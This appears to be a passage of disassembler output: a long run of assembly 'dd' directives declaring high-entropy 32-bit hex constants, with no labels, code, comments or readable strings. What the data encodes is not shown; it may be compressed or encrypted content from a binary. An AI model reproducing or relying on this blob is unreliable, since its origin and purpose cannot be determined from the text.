54C08F4Bh, 44D875DDh, 0C9320098h, 33F7EC52h dd 7700A837h, 0F3500245h, 753D59h, 945E7CA6h, 72C84BEh dd 42494800h, 50A306FAh, 0A5D400A9h, 805C9260h, 0CB0E2E22h dd 60BF8FBEh, 5D897BCAh, 0A566000Ah, 0BC7CDB63h, 0FF185E56h dd 39F1B5E0h, 91641A90h, 43D114Eh, 0A706E086h, 0FFAE3F10h dd 3972501h, 0D0A13F65h, 8D002379h, 9C306816h, 2E760Ah dd 7260AF1Fh, 6E864B1Eh, 4E333600h, 753A2D67h, 4326007Ch dd 0DC283099h, 0B1005319h, 38EE458h, 2C1EB90h, 0F7AC8573h dd 9CE0DDE2h, 800211Bh, 6056C46Bh, 4F492Dh, 9812BEC0h dd 8693DFF2h, 4143702h, 403A9538h, 79620h, 0D3C0522Bh dd 0E327BD3Dh, 561EDE00h, 29CAA11Bh, 12830785h, 64E5CD26h dd 19CC052h, 5100C8E1h, 0A7E945B1h, 0BC9BB6h, 0C9178624h dd 15CE7126h, 0EC40879Dh, 4C0CFF5h, 3C2CCCC0h, 0B200A32Ah dd 0AB06D884h, 0CD0090DCh, 328D2873h, 0B36F6Ah, 0F697FD19h dd 0B04CAB9h, 0FF00EB76h, 80C7173Fh, 0C293E4h, 4BFB5BA3h dd 52227AC1h, 318B0E00h, 0B3C3CF05h, 1DD900CDh, 0E9874DFCh dd 21EA1ACh, 0EF83E0F8h, 0D6F6835Dh, 0B841388Ah, 40665B9Dh dd 125C36D2h, 0A609918Bh, 8018A260h, 0B6EA9994h, 6BF235h dd 0A82211E0h, 0EF6506AAh, 792B7A00h, 4BE1232Fh, 0D6BF009Fh dd 41E8A128h, 0AE03D843h, 33DD6704h, 3EB988C5h, 3D1D01D6h dd 9E8ED70Eh, 6A90C89Fh, 0C468AB03h, 98DAB574h, 709C975h dd 9B1381CDh, 0E082B7EAh, 0DD25C07Ch, 2D96D003h, 0B8894C2Ah dd 1D834C4h, 0A12BE4BAh, 84404D0Bh, 0D28EC8F0h, 8041ACC3h dd 0FF85A3h, 16DED89Ch, 50ACC24Ah, 0A7CE1300h, 0E2C5329Bh dd 960100A1h, 109C7043h, 0BC726A14h, 3889C300h, 857617C9h dd 6EE41F02h, 39AD8082h, 2D29A1ABh, 0C6366700h, 0E0B2388Ah dd 0FEF2009Eh, 0EA9495E5h, 44F660D6h, 0D8BA21C0h, 628FA22h dd 542430Fh, 0EA004970h, 257D9937h, 0ABED46Eh, 910DD696h dd 63430180h, 0F81BD523h, 0E4002670h, 4DF60EA7h, 5172ADh dd 0B4439840h, 0E5919B02h, 0A69758h, 0D4D24750h, 5268830h dd 0FFCE9808h, 2DEDC1C3h, 59D3E8C2h, 6EE18F06h, 3D8939BEh dd 6C82F6AFh, 0FDE00F3Ah, 9B632440h, 0BAFB6804h, 0D6C0D3BBh dd 0C486D4h, 0C09E4628h, 0EA66B55Dh, 5431DF61h, 79703DD0h dd 4A0B0047h, 0F6B4C88Ah, 0CF7A38FBh, 0DE0090B8h, 1C20130Ch dd 5AA7F4Eh, 8761B88h, 84B800A0h, 2AECCC52h, 0DB712C00h dd 9C28DDC7h, 1ED600F1h, 8C12BD41h, 18000F8Bh, 1503806Ch dd 1E90A475h, 8EE1AA5Ch, 3020C273h, 1DD8705Eh, 9569CC00h dd 9F1AA8F6h, 3C140112h, 2B351BFDh, 250ECC4Fh, 28E5B33Bh dd 0CA00843Ah, 1622EC90h, 80FC4E7Ah, 0A2700B32h, 948E8850h dd 0AC384C3Ch, 4A00D853h, 0DC24212h, 6F1E0BA6h, 6300B14Bh dd 1CF839F5h, 8855D300h, 9E601404h, 86F40EEEh, 620C426h dd 0BCF238EBh, 10D24Ch, 0BF0CA939h, 0F04E0Dh, 34FC4717h dd 0CFF325E4h, 9D80BE00h, 22D5525Ah, 83E0096h, 8FDFBC79h dd 7771F31h, 0EA515Ch, 288A67D1h, 0CE7A9DA9h, 8E8001C0h dd 0A043DF7Ch, 96C8730Eh, 0B9CC6078h, 2FA865h, 0D5E39E24h dd 59F8AAACh, 0D714700h, 0A9323DAEh, 3499487Eh, 50D32Eh dd 0A1308F9Bh, 0DB00CA56h, 422DEDC6h, 78B16Ch, 7C5F3129h dd 509515B4h, 5C0014E2h, 6C018D71h, 0BEFA3Ch, 0E8E4A7F6h dd 0B26EA066h, 0EEC4FCA0h, 0BA2C8C03h, 0F89099E5h, 48347EE7h dd 8E099A02h, 5D0780BCh, 1865906Ch, 70050794h, 0E50F7F11h dd 622AF181h, 7E59D1E4h, 9A7D0010h, 6C4724E4h, 7B0001DEh dd 1E766ED5h, 0FC17ADh, 0C363FD27h, 0A9F7D3D1h, 623AE87Ah dd 13690EFEh, 4EC740CFh, 24EB35B0h, 9BC86B8h, 1487BC95h dd 19FB80B4h, 3100A263h, 0E8BA54CFh, 7DBD5BC6h, 7A3360A9h dd 0DE953CBh, 0EF21D700h, 0F02EDFE1h, 0EED5001Fh, 1B7919ABh dd 0E7008BE8h, 5914B98h, 0A080FB06h, 7C7ED8h, 95B61567h dd 74EDD436h, 5CE27100h, 6CA977B3h, 3A607899h, 5281D77Fh dd 1A187D0Fh, 97242010h, 0A6877B00h, 0BC2DC1A3h, 7FD874A8h dd 0D9081296h, 0FE8F0E61h, 4C27CD20h, 0AC04481Ah, 0E3AD6E2h dd 4BF27890h, 9CC930ABh, 4E3E4650h, 6B7CBC92h, 2400189Ah dd 16F8EE6Eh, 0B9AD2Bh, 0F21F4438h, 13DE5CFh, 0C5A8C40Fh dd 73DE808Bh, 511D84C1h, 0A544A43Ch, 44CAA440h, 813F32h dd 0C66E1F85h, 0FB741A05h, 756133Eh, 0A5554E22h, 0F167A4B0h dd 29EF131Eh, 44F41E8Fh, 0D12FD1DAh, 0CC88D64Ch, 43008797h dd 656967C6h, 43D15ABh, 0BBCBD95Fh, 563480DCh, 0D00D084h dd 3273DDB2h, 9077167Dh, 14D8007Ah, 99ABC743h, 0D1015598h dd 42796BE3h, 2CF5A403h, 72D0BDF8h, 3A140092h, 0BCCAD85Eh dd 3E0090FDh, 4BE4893Bh, 12595C8Bh, 41F0F26Ah, 9A34F368h dd 85B4F03Ch, 17DCFE00h, 0BE6A8408h, 72A1037Dh, 0B35A220Fh dd 2F3B5BC0h, 937FB600h, 6F9CAC27h, 3C1770DFh, 6A8049ADh dd 0CEA42432h, 0CD074594h, 0EB751F33h, 0C89D8D02h, 0E68F0618h dd 57E3878h, 0CB2EC380h, 0A38B9BA6h, 0F381D719h, 53206E11h dd 3CEFE277h, 0DC24AF5Eh, 0A91100E4h, 25BB85E1h, 0B2876400h dd 0B4B0BC50h, 90E2704Ah dd 2AF406CCh, 9015AAC8h, 394B2700h, 0EA06012h, 0B35113C0h dd 0FA80009Fh, 914DD51Ah, 0F60082F0h, 2DFB34D7h, 2A32EDh dd 5727B978h, 1A4240BBh, 50E89406h, 0A0A880h, 0C6B3F33Fh dd 0AF5D1E45h, 0F253B72Ch, 3E8F7700h, 841ABCh, 50C6C224h dd 6BC8D089h, 91924F03h, 0E93553C3h, 8082F467h, 160E829Ch dd 74C8405Dh, 0C16C1E73h, 804424B7h, 0BEC4F13Bh, 4502E1ECh dd 0A9F8B3E8h, 99AC04Bh, 0A0E302D0h, 2C773E5Dh, 114DC077h dd 91FA3DDEh, 0A53A1D7Ch, 0EEA4C0E4h, 1DD2A76Fh, 0CC8F640Eh dd 0EF8D6011h, 0AD23E3h, 0E57F01B5h, 8366FAFh, 4C0AC200h dd 0EB55DBC8h, 0D77B11h, 873856F8h, 9E57788Dh, 0C6124898h dd 0A8B8BB5Dh, 0BAE6FC00h, 0E9DFA6F2h, 17F69600h, 2D5F99A0h dd 0AA13009Dh, 1AD694CAh, 9509D562h, 7519BA5h, 0F0776704h dd 60AEB7C0h, 75BE3E5Fh, 1911A812h, 70FE2898h, 0C80FDBA8h dd 0E6FA18Dh, 19832203h, 509881F9h, 0C6000122h, 44007F7Ch dd 0E997D4A7h, 4CD67B7h, 0F705F87Eh, 9410D15Ch, 0CE8EEFCh dd 55388DB0h, 29007908h, 0AA2C9DE7h, 72A1AE1Fh, 5B171D63h dd 0A6074028h, 6737CB20h, 9AC22100h, 86D0B995h, 35540073h dd 9DD96509h, 0DA0F9C1Eh, 0C0CD68E9h, 5F321B8Dh, 0EAE80066h dd 0DFBF5D14h, 15B02BA5h, 0FC6F48h, 0E69E50D4h, 5939F12Ch dd 4E00684Ah, 0A8EAA0C2h, 8E03BF0Dh, 0DCF444BDh, 10B900ACh dd 0E5942ADh, 0D512F51Eh, 800FCA0h, 96D43DDBh, 1C4C1D51h dd 785D4168h, 30826503h, 72075A04h, 0A471C19Ch, 35743F20h dd 27BC0024h, 3B7B306Ch, 0F707685Fh, 1A88AB46h, 0ED4F9B90h dd 0DE6400C7h, 0A6286617h, 1DF832BDh, 98D0E050h, 851E48h dd 0E263B94Ah, 26BB697Eh, 406E6Bh, 8D5EA6C1h, 647F53FFh dd 3CF0201Dh, 161339D3h, 91F6A000h, 71FAFC38h, 0DED71D48h dd 0A54AC05Ch, 0BCC8864Eh, 942A48h, 12E78D18h, 24B91Ah dd 9703C9C3h, 0E27D19FAh, 116B490Fh, 9830E0AAh, 61D736F7h dd 6CD8719Eh, 68C08095h, 0C2C6F89h, 92DD04FBh, 80D029EEh dd 0E26197ACh, 4181B100h, 8FCB14E7h, 0EC7C1213h, 0A21C4027h dd 385DEFD8h, 2F14330Eh, 0D000B330h, 13FE2C16h, 0E9510BD7h dd 0C82EE19h, 9E3A9C0h, 33E0CBEAh, 0AB0C755h, 9E013000h dd 1B3525AAh, 627060h, 7F682475h, 4AA41AE2h, 0D352A20Bh dd 392400B4h, 0EE65C53Fh, 0DCEB0067h, 5F17D9D8h, 0F40F0420h dd 0A08043D2h, 0AA332C83h, 0B17494h, 8B62E2A3h, 92180466h dd 2220E000h, 5D79148Ch, 0F05100DAh, 9EC3AB25h, 0CD070721h dd 0E2B1D7C7h, 0A6564CF0h, 0BBA70006h, 7B741B7Fh, 8200DACAh dd 3D3362F2h, 7D0AE571h, 0C57D398Ch, 0C8455000h, 0C9A1D343h dd 5E86A700h, 53C2EE44h, 0B5D20E66h, 6E403D79h, 0B09F65BFh dd 92D9F23Dh, 0D8C06D02h, 2634DB7Bh, 274FAh, 0DE5DE333h dd 0EC0788BDh, 1E2AA60Eh, 81793030h, 0A8325BFBh, 6C450075h dd 0D7213B13h, 0DBBD37C9h, 0E58680C0h, 4401244Ah, 549602B4h dd 0E6D4C903h, 0B890A0h, 14F860A2h, 0BA3E9EE0h, 8525DD00h dd 0CC6C1013h, 31CD00A8h, 6F0DE789h, 2CF4A5C7h, 11E88C00h dd 19B25575h, 187B0C3Dh, 4360B889h, 7D494412h, 0E0A178C3h dd 1DCA9A4Ch, 0F9F95027h, 470118E0h, 62E8D118h, 18403528h dd 0B86AFB04h, 9807829Bh, 0F55C40B2h, 0BA1F43FEh, 35087A97h dd 6F19425Dh, 133D3C87h, 3EC0C49Ah, 5C191C7Ah, 9928CFE5h dd 0DE833880h, 3E10CC7Eh, 0D9CAED02h, 0A1473D80h, 1D79C28Ch dd 6F9B7874h, 387880A2h, 0C5FC9845h, 9F107550h, 3B475900h dd 0DD1F9A15h, 7A64000Dh, 0FCC00AB3h, 7F009360h, 45DA68B1h dd 60AE6C81h, 3D1FC006h, 2BEED440h, 57BBDD00h, 8026B218h dd 523400D3h, 44B819A4h, 64009C6Ch, 5F4F33F0h, 0F1C30Dh dd 5D8F0706h, 8DDB0EBEh, 0B026B38h, 201A22h, 0EFB8A5C0h dd 9B7004Dh, 0F9143057h, 354CFBC9h, 0DDC5000Ah, 5D4E16B4h dd 7D690011h, 0A418FEB2h, 25001E86h, 0A3F84780h, 0EC5467h dd 1C10C508h, 0F7FCB95Bh, 0C717D100h, 0B1B0AB31h, 0A22A0226h dd 0CE79BFF5h, 0DE62C4AFh, 100D2054h, 79B0040Fh, 10D853CCh dd 18876h, 0F446A7Ch, 0E05C4390h, 79B82D50h, 0AD75BF01h dd 8B69E102h, 70F02988h, 9031BE88h, 0D1578FCBh, 0F9081C21h dd 84B79034h, 84893B8h, 857780BDh, 5B2F7650h, 1BD781Ah dd 2A744E83h, 0F402175Eh, 811C5180h, 5A40D86Fh, 3DEB0550h dd 0D3D70093h, 0EDFE6B55h, 8500913Fh, 946FCB2h, 399060h dd 0E52E50E7h, 6CBD6B7Fh, 1AA09805h, 1AC00D71h, 77E984F1h dd 56810015h, 0DC771F3Fh, 1300C2E7h, 23DDA055h, 1C63B652h dd 0CA8E33h, 3F6FD8D2h, 0D35C45FCh, 34040011h, 72AEC1A3h dd 747F28h, 2CA977ECh, 7DE0A094h, 0F4C98701h, 0D524D6C7h dd 0BA44CCh, 0C83216EEh, 0A20CD376h, 9A00B8ECh, 7347B403h dd 0FDFF714h, 7497B3F4h, 69B5560h, 0CB007DC0h, 7380B06Eh dd 3A31AC5h, 0D16EB6Fh, 12D8C87Bh, 0F9FBA8CAh, 6308FC2Eh dd 0FF84B100h, 36FCF210h, 8E149BEh, 951B28h, 0A2937A83h dd 0BC76B9F1h, 4A449D03h, 0C8F8619Bh, 799171B8h, 0EFA3005Fh dd 6EDF3119h, 123B06C3h, 11040036h, 0DE661BA1h, 88330041h dd 44A09CB6h, 4628E6D0h, 0B401883Dh, 0F3B12165h, 0FD210D72h dd 118020EDh, 98693CF8h, 0C800C07Ch, 18CF3A1Eh, 7F59FF04h dd 0A2260342h, 39795F9Dh, 2A207FF8h, 0E318EE00h, 3D386E61h dd 939903C3h, 118FC674h, 0FD3E39A8h, 1B063201h, 5C5D61A8h dd 48AEC0h, 64DA35D9h, 1A165FF7h, 6EBB901Fh, 4E8B80FBh dd 0DE39C82Dh, 67150058h, 0C614BD36h, 0DB00FBA6h, 0D648F9B6h dd 52AE7Fh, 0DF1C8FD9h, 87637CDAh, 96649900h, 0EBCD8150h dd 0BEEC44h, 0B642DF69h, 0C1A37D5h, 0C8E65700h, 3229D1B2h dd 1F7C90h, 9DACD8BBh, 7B769407h, 0CF889E0Ah, 10098A9h dd 15DBA32Eh, 472B0B59h, 4A00328Ch, 0BF128BA2h, 0BBE4A700h dd 46B5636Dh, 3EDCF3F2h, 0C80400C6h, 3D117ECFh, 0CCDF6764h dd 0BD025h, 0D1703F55h, 14CE6F78h, 0A6016673h, 0DCBFCA2Fh dd 34EC183Bh, 868200C8h, 3438EE0h, 88795791h, 0D1CC1E00h dd 0B2CF76E2h, 0CD650095h, 7D5CD346h, 120035FDh, 52B57959h dd 0BFE58D6h, 0B9770CEBh, 0A3A0FE00h, 750071F3h, 0D334B340h dd 77BC74E0h, 0A266008Fh, 1A1EEA63h, 5800B588h, 13F361A4h dd 0B48F19h, 5E10A55Bh, 0AF3B5ABFh, 0C1FDA00h, 0C459B11Ah dd 3D92EB2h, 466B00E9h, 9DDD4AC9h, 0FEC20500h, 7687F236h dd 0A707AB2h, 958F4BAAh, 8D4C00A8h, 445CC4A2h, 193C9300h dd 0EE8A6A7Fh, 0D1BE2EF9h, 1B7A06FDh, 240E3158h, 5B118h dd 1E87DCC3h, 23D90138h, 0B3E4BB70h, 0FEC41BDh, 0C3E0C26Eh dd 0D70089EBh, 8F0C4D58h, 766682Bh, 0E79DBFB0h, 72F200ECh dd 1E58FBBBh, 3CC200EFh, 53FED5F9h, 2757E87h, 0E2E90E24h dd 948E9493h, 20868F3Eh, 0BE039CCEh, 0D080A8FEh, 7D732D1Ah dd 27A95F60h, 3EEEB01Bh, 9907D909h, 83E20316h, 0CAF0BDC3h dd 0DB84BD5h, 0BC5AE01h, 52F426B3h, 0F64020h, 3FFB42B6h dd 9949D0F2h, 0C756BD07h, 906E6B3h, 776A00D2h, 0E26E40A6h dd 5979144Ah, 3BD5860Fh, 25982026h, 48DE2173h, 6C0E302Ah dd 0D4408A05h, 99127BC2h, 3CF64100h, 0F4E950E4h, 70AF3EDBh dd 6A47FD00h, 0E6DD3DDFh dd 506C743Bh, 634C3490h, 2AA80043h, 68946F33h, 127002Dh dd 0B35D4D6h, 420F702Ch, 6731AE83h, 0E7E016F0h, 2C2BB93h dd 0CF220AE3h, 82604C75h, 0B90F5237h, 0E021F3A7h, 7F649E48h dd 0F858F483h, 0A2457BBCh, 0A8F1878Ch, 0D12B9350h, 6EE6BFh dd 36E29587h, 6C29B9D3h, 9F888A1Fh, 28BED041h, 0B450D61Dh dd 62DF26h, 3C119389h, 66D82BE1h, 0C3958B1Ch, 36394C0h dd 3FD3B2h, 0B04A9F10h, 0BE8E86C5h, 1A37E490h, 26A061DDh dd 3BCBD730h, 0FB007C22h, 7480310Dh, 7306BB3Fh, 0FAE537D0h dd 0F0050039h, 85F36CB0h, 3101C154h, 0C2D68487h, 8320A8A5h dd 1C7348FBh, 483ECC00h, 0C07D0A4Bh, 98F72812h, 0B5405C00h dd 1F1760E7h, 0E6A3A28Ch, 317C01C3h, 0E48A45DDh, 5FF0B234h dd 0E5180400h, 7A9462D9h, 1D847F1Eh, 0E82B77h, 55838B1Bh dd 0B0009E5Ah, 901FF56Dh, 1C05F28h, 850DEFF1h, 0D4469821h dd 80004BDDh, 3837769Bh, 1DD1E3h, 75328EA2h, 0FB2D3EFAh dd 43EAE100h, 14E9AE71h, 3E5F85Ah, 23799D47h, 54C86BD7h dd 970FBD8Bh, 0C04881D4h, 6E0B293Ch, 72F489h, 3A65BC2Bh dd 2336BD1Bh, 98B25000h, 63A92E57h, 0E5FEBEh, 0BB347939h dd 0F10813E2h, 5D5F38h, 44F3AD9Fh, 0B6F81Ah, 270B02E5h dd 6DC5392Ch, 95486AF8h, 0BDD400CDh, 4DA12A65h, 735B00F5h dd 3E92137Ch, 0A700A5B8h, 0F88E128Ah, 36B35Dh, 84F209C7h dd 0C860FDFBh, 0F05F9200h, 3C2FB659h, 4BEB006Ah, 1BE2762Ah dd 7D01A1D0h, 0A67CC9C6h, 0D5D88444h, 5C510085h, 0FD7FEEEBh dd 57004A8Fh, 0BE9C595Dh, 0FC77494Dh, 9E8A38E5h, 97E9AF06h dd 0A00011C8h, 0F39A348Fh, 5845EAE4h, 71A40Ah, 0E6881298h dd 8BBD8755h, 4FC06AFBh, 0E27FD9Dh, 8ECDF4Fh, 1FB14B80h dd 0AF009711h, 0C0BC6458h, 0E4D443A3h, 0FFE0C0B7h, 6DE8329Dh dd 0F1F87A01h, 0E2745689h, 93CDD8h, 0CA42E334h, 2A7C63B1h dd 0EBA7B19h, 5080B57Ch, 93518337h, 6C00A7FEh, 0BB224AA5h dd 245D3BA9h, 1C54BC6Ah, 50B80075h, 18CEEA13h, 3C3A5CEAh dd 8071BD3Dh, 3205E2D6h, 0AC8140h, 5C4ED933h, 0FFF88F04h dd 9ECC6C00h, 0FA66E243h, 0EFE300E4h, 6DDB87ACh, 62074490h dd 2331B3F1h, 0F78E5B50h, 0C1E30780h, 135F2A16h, 0BAE3435Ch dd 0B3C2F298h, 0DE00957Fh, 80EBFDCh, 3F8EAA39h, 6E00D826h dd 0F890B97h, 0EA7F5D9Dh, 753C938h, 0A483F4ABh, 0A51F5010h dd 0B82F0027h, 3BF8EE4Eh, 0D20410DEh, 719304F3h, 574F39C0h dd 59F56175h, 0F04AAD01h, 0E077B320h, 4DC0A00h, 52A57217h dd 0D52C00B8h, 0C8A0F39h, 59005793h, 1807ECFFh, 919F76h dd 2E0E3C0Bh, 0CBB52FB0h, 6F9BFA00h, 43D10CCCh, 24C800DAh dd 7461E9E5h, 7A05C728h, 9130EFFEh, 0DFCACC0h, 2B260739h dd 15E1603Ch, 2D16C015h, 0E2121D35h, 0B41E02FCh, 0F9E7840h dd 558BABh, 0E0CD855Dh, 5894AC0Ah, 0CF836700h, 0DF9AFCAAh dd 5B140068h, 0D1E5E0A6h, 0A70056AEh, 9D1A500Bh, 264A223Fh dd 3A4878D5h, 91429480h, 0F6571F3Eh, 0A758D400h, 7718FABDh dd 62B00AAh, 36BFDD6Ah, 870069C8h, 8E790E26h, 0F4D028h dd 62D2A81Ch, 5FEE598Fh, 0E9694B01h, 755D4D51h, 7185420h dd 8C6C4163h, 49ACB0ECh, 7D002ECAh, 0A247ED7Fh, 0FC2FD544h dd 70860237h, 9AC4DC83h, 5B07CA80h, 65E8DF78h, 2593D001h dd 7BC535B3h, 16AA70h, 9D582B98h, 86336A8Fh, 8E327613h dd 9A00BA12h, 9EB58946h, 0A74B0057h, 7ABC381h, 0E60071A9h dd 28C1CD2Ch, 0EAC77Eh, 501EEE61h, 0F65E6739h, 68432500h dd 708A6B0h, 48E00064h, 7C94A015h, 8302405Bh, 0ADDE847Fh dd 80288F03h, 145D8298h, 4AD20031h, 0A0FC69BDh, 0AB001113h dd 3263B03Fh, 8765A4h, 6CC79C8Bh, 8DF03E1Dh, 0C7E558h dd 995F8882h, 107DCA7h, 37D87EFh, 0FCD7A4F6h, 9C48B094h dd 179D0318h, 0E0E68601h, 283FFD49h, 2E959866h, 0E54ECF8h dd 4A6EB804h, 92AF3460h, 0A059A81Bh, 0D780068h, 3B542D2h dd 52A60006h, 19FE9C94h, 0C92E4EC8h, 41005876h, 0F4DDC778h dd 59401D9h, 9144B274h, 0E1C3D4BDh, 9DD8421Fh, 0CA2EEA03h dd 7D6BF856h, 36ED009Ch, 1DB5D65Eh, 1B03F667h, 6A558AB8h dd 278BE8FCh, 0D34D00E4h, 0BB515941h, 8898216Fh, 0DF3E9A00h dd 0FD9BF45h, 4EE8002Eh, 7D6D3726h, 1898F608h, 0F0526B2Ch dd 60FCF30Eh, 2070EA59h, 8078C3FBh, 0B5D0CB2Eh, 0C009652h dd 0F06B6A31h, 7CE0578h, 72BB35B0h, 9EE6606Fh, 0FCB89A60h dd 0D6231F00h, 0A17AD352h, 2518096Bh, 0DB0054C8h, 241F66A2h dd 5E55CB30h, 0D4BCD2Fh, 0FC6F6BDFh, 222A80F8h, 0E8FF9369h dd 79F60AD8h, 0F8CD19Ah, 8FA02152h, 9E32593Eh, 8A064A90h dd 0D2C6DEECh, 4F6A0011h, 0A5FD799Bh, 61EB669h, 0E7966690h dd 1445D6E0h, 0C08AFBCAh, 3E1E6B00h, 784257B4h, 0CFE7B307h dd 35356714h, 0FCE024C0h, 6C054C18h, 9AC0228h, 39F77355h dd 0B30F0483h, 0E9E4D2BEh, 1A1C1303h, 0FB8D3F9h, 0DCB27DB8h dd 42878220h, 0FD0C6B46h, 4808475Fh, 3FB0C3h, 0F665E120h dd 0FB9D540h, 0BA34A4C7h, 0F08976h, 93786C8Dh, 19FFF187h dd 6EE9071Ch, 1FB495D4h, 8C0EE28h, 35F940DCh, 5E550A04h dd 0E82B2Dh, 5A12E4F5h, 9917A9C2h, 4A1FE158h, 0A60A1940h dd 1F4536Fh, 3989871Ah, 0D7152FB4h, 66575BA0h, 70529004h dd 5CC0F0BFh, 71F11739h, 12BB810h, 0FA8BA9CDh, 0C8F9D595h dd 9E182C91h, 2A119286h, 1DB390Fh, 0E4D42680h, 8FA51E39h dd 930088B0h, 0DB3E9F0Ah, 302E1Ah, 24FD5B68h, 9A73B175h dd 0E74B8A06h, 678E3D0h, 0C033E962h, 59305888h, 0CD2624C2h dd 52111727h, 0FAA807C5h, 0ACBFC021h, 0A60072F2h, 0C2DCF5Eh dd 55F769h, 0DE8A6743h, 173BE6CDh, 3297B415h, 0D33998ECh dd 0D08F0083h, 443B40FEh, 63001FABh, 4DF5A00Ah, 7DEB229Ch dd 3EF0069Fh, 0D0762E0Ch, 8F4AFB0Bh, 0F964002Dh, 0F622FE53h dd 6F4E0491h, 806DE423h, 4BE85668h, 0F2CB1019h, 14CCE31Ah dd 876B0059h, 90A1F166h, 1E036C31h, 832DEB28h, 6E95E99Dh dd 0CC806821h, 34C116C4h, 0CC382C4Ah, 400A00CAh, 38152628h dd 508A60B9h, 4A679C5h, 9B309277h, 9FC7AC5Fh, 0E9C207EDh dd 80A47132h, 884C10E5h, 8A45AA3Eh, 848D7B53h, 6D094C28h dd 47439CAh, 0B7C05A0Ch, 261680BCh, 7604BC4h, 0D0F612C6h dd 1A615F5Eh, 7800E1B0h, 4A8E1BF3h, 1855F171h, 52D68CA2h dd 3972E0A1h, 0B5692009h, 0D430E847h, 1FA3007Eh, 3818C81Eh dd 0D300763Fh, 0BCF14649h, 0C55B0h, 0F342BB9Bh, 0EB9EBE11h dd 0D75C341Ch, 625F1C81h, 0EA403071h, 1F5BD5F7h, 0BFE4B2h dd 136B73E1h, 370072FCh, 62289D40h, 9A35F7h, 1BEFBC30h dd 83119EFAh, 0C2008DECh, 895D4BA0h, 605B4DE5h, 0D6E75055h dd 0B3EA3760h, 0AA5EE900h, 0B57C7A66h, 6BD928EBh, 0DE500FCh dd 5D519FD7h, 0E803C59Dh, 4F99D515h, 0E538F850h, 48980Ch dd 7FA251Ch, 3C2F122Dh, 0F9E9681Fh, 50113080h, 4EB6A3Ah dd 0C4DF7DA7h, 430CC05Ah, 0E6161939h, 0C81E12F2h, 0FB8F81C0h dd 49EDCD09h, 3A01F416h, 0A82BA48Dh, 64CC4069h, 60FEEBD9h dd 4E51B700h, 0A49727F7h, 0CD3E26F6h, 4752808Ch, 8FCF59FBh dd 56921100h, 96CC07EBh, 974D00DAh, 7D4AF63Dh, 6D001955h dd 83FD0892h, 1018E6Ah dd 0C215D526h, 0F74BB110h, 0F760CEF7h, 0C758D75Dh, 0D412E900h dd 34DCBB5Ch, 99E30021h, 0A374852Ch, 6139D144h, 0E456A4C0h dd 204FF10Fh, 550516D3h, 0FDC7C7Ah, 0A5A923C3h, 0F1ED960h dd 2200BFEDh, 3B51CF0Ch, 99685Dh, 53E75B8Dh, 473861A8h dd 0D000F9F2h, 6CC1499Ch, 9A2F682Dh, 0F0746744h, 46D6A02Ah dd 3D7FEA8Dh, 93A77C0Fh, 0A01AAF58h, 0B7891CD0h, 82541F66h dd 7D6C43D8h, 4870350h, 0F01CC45Ch, 24003730h, 2C53C0D2h dd 1CDB869Dh, 5FE390A0h, 18D48009h, 5F357F99h, 95E50401h dd 32DC8B0Ah, 3CA870h, 82131A11h, 742439D1h, 0A07A6C27h dd 0C5D93514h, 653D00FAh, 0EFE1DDFh, 125C8CE9h, 0ABC1D48h dd 47331381h, 50842AD4h, 0A0776D90h, 0C109F99Ch, 0A09CB971h dd 55C53DA8h, 2F5EA53h, 78F75689h, 10439B97h, 8CB536D8h dd 5CAC1101h, 23247704h, 6D260EAh, 199300D5h, 0BABD71C3h dd 6300ECE3h, 0B7240E9Ch, 9013B42Bh, 50CA1240h, 0D32F0A86h dd 0F3650BE4h, 0A21CCC80h, 0C200AC3Dh, 0EE54A57Bh, 9B2870h dd 38B72366h, 0D004D262h, 3006E139h, 304928ADh, 4BDB0035h dd 74011ABAh, 27005B9Fh, 9B71BF15h, 54B24A85h, 0B684B5h dd 8CA507F9h, 9D6E54A2h, 29426700h, 9741236h, 814000C8h dd 0EA9AAAC1h, 320102F9h, 14462113h, 6C30A10Ch, 0C3400694h dd 10DACB89h, 0A9A0C600h, 718FF1Ch, 0FB693E49h, 0D8F50C80h dd 0B410EEE7h, 944DBE0Eh, 71007358h, 0AE9DF093h, 2783264Fh dd 0A74B00B8h, 0B852CD64h, 2EACFE50h, 809A5D00h, 1D78A45Fh dd 1710237h, 0FE2C34A6h, 815BFC80h, 0E007B8Dh, 0A26BD7CDh dd 1B0116h, 0A4F26968h, 0A0FFBB7Ch, 5F664026h, 73E5F001h dd 0F8809F3Fh, 0E3D63195h, 4E1E6971h, 64006D45h, 0CBAA54A4h dd 4D40026Fh, 69859941h, 32515461h, 0D0160748h, 96814C90h dd 6032E33Ah, 3B975300h, 332F49B0h, 0F8F6691Ch, 40152C0Eh dd 0F5ED6438h, 172E0106h, 232B991Ah, 0FF54305Bh, 0F98D3D00h dd 0A781BE78h, 39907148h, 0C900CE97h, 0CCD1C726h, 0C8B09AEEh dd 521B48h, 65031441h, 84BFEBh, 0BC858F23h, 4320B6BBh dd 96058171h, 0C6978B42h, 3CB1E0A4h, 3E7C8E06h, 2080168Fh dd 140B4EC2h, 733F5371h, 0EC05F1D3h, 1DDCA7BFh, 92EFC4FAh dd 5440B87Ch, 7003E252h, 72F39C68h, 5BA7F830h, 0B807002Ah dd 985D4DB3h, 7F003D14h, 3EF19323h, 309D92C3h, 0E40B466h dd 0D92FCF1Bh, 0C7D800B8h, 6D84F2h, 0BAB9F721h, 0CEDA377Eh dd 89F80B00h, 0F54ED56Ch, 0A6990019h, 80312051h, 590015F1h dd 789245D6h, 48ABB3E1h, 0DA3044A2h, 4D80FAE8h, 36C8BE00h dd 0D15EB0F2h, 9F252C3Ch, 70F90762h, 50830033h, 95ABCD4h dd 5303A5A8h, 9F9E20FCh, 60B092E0h, 7C8454Ch, 4A352D6Bh dd 0C27582A0h, 1BBE846h, 0A4CC641Bh, 8337D051h, 6BF38516h dd 717BE0D3h, 0E7010019h, 0B14BC521h, 0DF00510Ch, 0F7995D61h dd 2CEC4188h, 0E83670h, 0BDA51CD6h, 94026942h, 0F7D18D54h dd 21FCC032h, 0D9C0008Bh, 16FA4F0h, 280047A3h, 75716A8Fh dd 5EFB0FB4h, 2B10007Fh, 0C7413BD7h, 6CB54626h, 433DD100h dd 0BE4FC5h, 3CD82B7Ah, 1302F440h, 0D367F900h, 0F6E06207h dd 0E58F612h, 0E27E7ACEh, 7560CCCEh, 59DD3E6h, 2F155E3Ah dd 0B8A41BF3h, 2515BA2h, 6C05547Ah, 14C0303Bh, 6CA8F787h dd 310E7F9Dh, 98988CE4h, 2C112420h, 71C8921h, 6085632Ch dd 4F76FA6h, 3F504716h, 0D2E2B040h, 1E15235Bh, 4065BDAFh dd 3C96B048h, 2DF295B1h, 27929D00h, 0BFBE70DEh, 387B4C81h dd 